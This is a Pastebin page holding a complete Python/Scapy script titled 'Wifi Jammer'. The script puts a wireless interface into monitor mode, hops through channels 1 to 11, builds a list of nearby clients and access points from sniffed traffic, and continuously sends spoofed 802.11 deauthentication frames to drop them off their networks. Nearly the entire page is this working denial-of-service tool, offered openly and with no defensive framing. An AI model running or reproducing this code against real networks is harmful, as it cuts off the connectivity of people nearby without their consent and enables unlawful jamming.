Advertisement
Cyb3r_h4ck3r

Team IHC :- Wifi Jammer

Dec 13th, 2014
1,854
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.23 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import logging
  4. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up Scapy
  5. from scapy.all import *
  6. conf.verb = 0 # Scapy I thought I told you to shut up
  7. import os
  8. import sys
  9. import time
  10. from threading import Thread, Lock
  11. from subprocess import Popen, PIPE
  12. from signal import SIGINT, signal
  13. import argparse
  14. import socket
  15. import struct
  16. import fcntl
  17.  
  18. # Console colors
  19. W  = '\033[0m'  # white (normal)
  20. R  = '\033[31m' # red
  21. G  = '\033[32m' # green
  22. O  = '\033[33m' # orange
  23. B  = '\033[34m' # blue
  24. P  = '\033[35m' # purple
  25. C  = '\033[36m' # cyan
  26. GR = '\033[37m' # gray
  27. T  = '\033[93m' # tan
  28.  
  29. def parse_args():
  30.     #Create the arguments
  31.     parser = argparse.ArgumentParser()
  32.     parser.add_argument("-s", "--skip", help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA")
  33.     parser.add_argument("-i", "--interface", help="Choose monitor mode interface. By default script will find the most powerful interface and starts monitor mode on it. Example: -i mon5")
  34.     parser.add_argument("-c", "--channel", help="Listen on and deauth only clients on the specified channel. Example: -c 6")
  35.     parser.add_argument("-m", "--maximum", help="Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5")
  36.     parser.add_argument("-n", "--noupdate", help="Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n", action='store_true')
  37.     parser.add_argument("-t", "--timeinterval", help="Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001")
  38.     parser.add_argument("-p", "--packets", help="Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2")
  39.     parser.add_argument("-d", "--directedonly", help="Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs", action='store_true')
  40.     return parser.parse_args()
  41.  
  42.  
  43. ########################################
  44. # Begin interface info and manipulation
  45. ########################################
  46.  
  47. def get_mon_iface(args):
  48.     global monitor_on
  49.     monitors, interfaces = iwconfig()
  50.     if args.interface:
  51.         monitor_on = True
  52.         return args.interface
  53.     if len(monitors) > 0:
  54.         monitor_on = True
  55.         return monitors[0]
  56.     else:
  57.         # Start monitor mode on a wireless interface
  58.         print '['+G+'*'+W+'] Finding the most powerful interface...'
  59.         interface = get_iface(interfaces)
  60.         monmode = start_mon_mode(interface)
  61.         return monmode
  62.  
  63. def iwconfig():
  64.     monitors = []
  65.     interfaces = {}
  66.     proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  67.     for line in proc.communicate()[0].split('\n'):
  68.         if len(line) == 0: continue # Isn't an empty string
  69.         if line[0] != ' ': # Doesn't start with space
  70.             wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
  71.             if not wired_search: # Isn't wired
  72.                 iface = line[:line.find(' ')] # is the interface
  73.                 if 'Mode:Monitor' in line:
  74.                     monitors.append(iface)
  75.                 elif 'IEEE 802.11' in line:
  76.                     if "ESSID:\"" in line:
  77.                         interfaces[iface] = 1
  78.                     else:
  79.                         interfaces[iface] = 0
  80.     return monitors, interfaces
  81.  
  82. def get_iface(interfaces):
  83.     scanned_aps = []
  84.  
  85.     if len(interfaces) < 1:
  86.         sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again')
  87.     if len(interfaces) == 1:
  88.         for interface in interfaces:
  89.             return interface
  90.  
  91.     # Find most powerful interface
  92.     for iface in interfaces:
  93.         count = 0
  94.         proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
  95.         for line in proc.communicate()[0].split('\n'):
  96.             if ' - Address:' in line: # first line in iwlist scan for a new AP
  97.                count += 1
  98.         scanned_aps.append((count, iface))
  99.         print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W
  100.     try:
  101.         interface = max(scanned_aps)[1]
  102.         return interface
  103.     except Exception as e:
  104.         for iface in interfaces:
  105.             interface = iface
  106.             print '['+R+'-'+W+'] Minor error:',e
  107.             print '    Starting monitor mode on '+G+interface+W
  108.             return interface
  109.  
  110. def start_mon_mode(interface):
  111.     print '['+G+'+'+W+'] Starting monitor mode on '+G+interface+W
  112.     try:
  113.         os.system('ifconfig %s down' % interface)
  114.         os.system('iwconfig %s mode monitor' % interface)
  115.         os.system('ifconfig %s up' % interface)
  116.         return interface
  117.     except Exception:
  118.         sys.exit('['+R+'-'+W+'] Could not start monitor mode')
  119.  
  120. def remove_mon_iface(mon_iface):
  121.     os.system('ifconfig %s down' % mon_iface)
  122.     os.system('iwconfig %s mode managed' % mon_iface)
  123.     os.system('ifconfig %s up' % mon_iface)
  124.  
  125. def mon_mac(mon_iface):
  126.     '''
  127.    http://stackoverflow.com/questions/159137/getting-mac-address
  128.    '''
  129.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  130.     info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
  131.     mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
  132.     print '['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W
  133.     return mac
  134.  
  135. ########################################
  136. # End of interface info and manipulation
  137. ########################################
  138.  
  139.  
  140. def channel_hop(mon_iface, args):
  141.     '''
  142.    First time it runs through the channels it stays on each channel for 5 seconds
  143.    in order to populate the deauth list nicely. After that it goes as fast as it can
  144.    '''
  145.     global monchannel, first_pass
  146.     channelNum = 0
  147.     while 1:
  148.         if args.channel:
  149.             with lock:
  150.                 monchannel = args.channel
  151.         else:
  152.             channelNum +=1
  153.             if channelNum > 11:
  154.                 channelNum = 1
  155.                 with lock:
  156.                     first_pass = 0
  157.             with lock:
  158.                 monchannel = str(channelNum)
  159.         proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
  160.         err = None
  161.         for line in proc.communicate()[1].split('\n'):
  162.             if len(line) > 2: # iw dev shouldnt display output unless there's an error
  163.                 err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W
  164.  
  165.         output(err, monchannel)
  166.         deauth(monchannel)
  167.         if first_pass == 1:
  168.             time.sleep(1)
  169.  
  170. def deauth(monchannel):
  171.     '''
  172.    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
  173.    multi-APs to one gateway. Constantly scans the clients_APs list and
  174.    starts a thread to deauth each instance
  175.    '''
  176.     global first_pass
  177.     if first_pass == 1:
  178.         return
  179.     pkts = []
  180.     if len(clients_APs) > 0:
  181.         with lock:
  182.             for x in clients_APs:
  183.                 client = x[0]
  184.                 ap = x[1]
  185.                 ch = x[2]
  186.                 # Can't add a RadioTap() layer as the first layer or it's a malformed
  187.                 # Association request packet?
  188.                 # Append the packets to a new list so we don't have to hog the lock
  189.                 # type=0, subtype=12?
  190.                 if ch == monchannel:
  191.                     deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
  192.                     deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
  193.                     pkts.append(deauth_pkt1)
  194.                     pkts.append(deauth_pkt2)
  195.     if len(APs) > 0:
  196.         if not args.directedonly:
  197.             with lock:
  198.                 for a in APs:
  199.                     ap = a[0]
  200.                     ch = a[1]
  201.                     if ch == monchannel:
  202.                         deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
  203.                         pkts.append(deauth_ap)
  204.  
  205.     if len(pkts) > 0:
  206.         # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
  207.         if not args.timeinterval:
  208.             args.timeinterval = 0
  209.         if not args.packets:
  210.             args.packets = 1
  211.  
  212.         for p in pkts:
  213.             send(p, inter=float(args.timeinterval), count=int(args.packets))
  214.             #pass
  215.         #time.sleep(.5)
  216.  
  217. def output(err, monchannel):
  218.     os.system('clear')
  219.     if err:
  220.         print err
  221.     else:
  222.         print '['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n'
  223.     if len(clients_APs) > 0:
  224.         print '                  Deauthing                 ch   ESSID'
  225.     # Print the deauth list
  226.     with lock:
  227.         for ca in clients_APs:
  228.             if len(ca) > 3:
  229.                 print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W
  230.             else:
  231.                 print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2]
  232.     if len(APs) > 0:
  233.         print '\n      Access Points     ch   ESSID'
  234.     with lock:
  235.         for ap in APs:
  236.             print '['+T+'*'+W+'] '+O+ap[0]+W+' - '+ap[1].ljust(2)+' - '+T+ap[2]+W
  237.     print ''
  238.  
  239. def cb(pkt):
  240.     '''
  241.    Look for dot11 packets that aren't to or from broadcast address,
  242.    are type 1 or 2 (control, data), and append the addr1 and addr2
  243.    to the list of deauth targets.
  244.    '''
  245.     global clients_APs, APs
  246.  
  247.     # return these if's keeping clients_APs the same or just reset clients_APs?
  248.     # I like the idea of the tool repopulating the variable more
  249.     if args.maximum:
  250.         if args.noupdate:
  251.             if len(clients_APs) > int(args.maximum):
  252.                 return
  253.         else:
  254.             if len(clients_APs) > int(args.maximum):
  255.                 with lock:
  256.                     clients_APs = []
  257.                     APs = []
  258.  
  259.     # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
  260.     ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mon_MAC]
  261.     if args.skip:
  262.         ignore.append(args.skip)
  263.  
  264.     # We're adding the AP and channel to the deauth list at time of creation rather
  265.     # than updating on the fly in order to avoid costly for loops that require a lock
  266.     if pkt.haslayer(Dot11):
  267.         if pkt.addr1 and pkt.addr2:
  268.             if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
  269.                 APs_add(clients_APs, APs, pkt)
  270.  
  271.             for i in ignore:
  272.                 if i in pkt.addr1 or i in pkt.addr2:
  273.                     return
  274.  
  275.             # Management = 1, data = 2
  276.             if pkt.type in [1, 2]:
  277.                 clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
  278.  
  279. def APs_add(clients_APs, APs, pkt):
  280.     ssid       = pkt[Dot11Elt].info
  281.     bssid      = pkt[Dot11].addr3
  282.     try:
  283.         # Thanks to airoscapy for below
  284.         ap_channel = str(ord(pkt[Dot11Elt:3].info))
  285.         # Prevent 5GHz APs from being thrown into the mix
  286.         chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
  287.         if ap_channel not in chans:
  288.             return
  289.     except Exception as e:
  290.         return
  291.  
  292.     if len(APs) == 0:
  293.         with lock:
  294.             return APs.append([bssid, ap_channel, ssid])
  295.     else:
  296.         for b in APs:
  297.             if bssid in b[0]:
  298.                 return
  299.         with lock:
  300.             return APs.append([bssid, ap_channel, ssid])
  301.  
  302. def clients_APs_add(clients_APs, addr1, addr2):
  303.     if len(clients_APs) == 0:
  304.         if len(APs) == 0:
  305.             with lock:
  306.                 return clients_APs.append([addr1, addr2, monchannel])
  307.         else:
  308.             AP_check(addr1, addr2)
  309.  
  310.     # Append new clients/APs if they're not in the list
  311.     else:
  312.         for ca in clients_APs:
  313.             if addr1 in ca and addr2 in ca:
  314.                 return
  315.  
  316.         if len(APs) > 0:
  317.             return AP_check(addr1, addr2)
  318.         else:
  319.             with lock:
  320.                 return clients_APs.append([addr1, addr2, monchannel])
  321.  
  322. def AP_check(addr1, addr2):
  323.     for ap in APs:
  324.         if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
  325.             with lock:
  326.                 return clients_APs.append([addr1, addr2, ap[1], ap[2]])
  327.  
  328. def stop(signal, frame):
  329.     if monitor_on:
  330.         sys.exit('\n['+R+'!'+W+'] Closing')
  331.     else:
  332.         remove_mon_iface(mon_iface)
  333.         sys.exit('\n['+R+'!'+W+'] Closing')
  334.  
  335.  
  336. if __name__ == "__main__":
  337.     if os.geteuid():
  338.         sys.exit('['+R+'-'+W+'] Please run as root')
  339.     clients_APs = []
  340.     APs = []
  341.     DN = open(os.devnull, 'w')
  342.     lock = Lock()
  343.     args = parse_args()
  344.     monitor_on = None
  345.     mon_iface = get_mon_iface(args)
  346.     conf.iface = mon_iface
  347.     mon_MAC = mon_mac(mon_iface)
  348.     first_pass = 1
  349.  
  350.     # Start channel hopping
  351.     hop = Thread(target=channel_hop, args=(mon_iface, args))
  352.     hop.daemon = True
  353.     hop.start()
  354.  
  355.     signal(SIGINT, stop)
  356.  
  357.     try:
  358.        sniff(iface=mon_iface, store=0, prn=cb)
  359.     except Exception as msg:
  360.         remove_mon_iface(mon_iface)
  361.         print '\n['+R+'!'+W+'] Closing'
  362.         sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement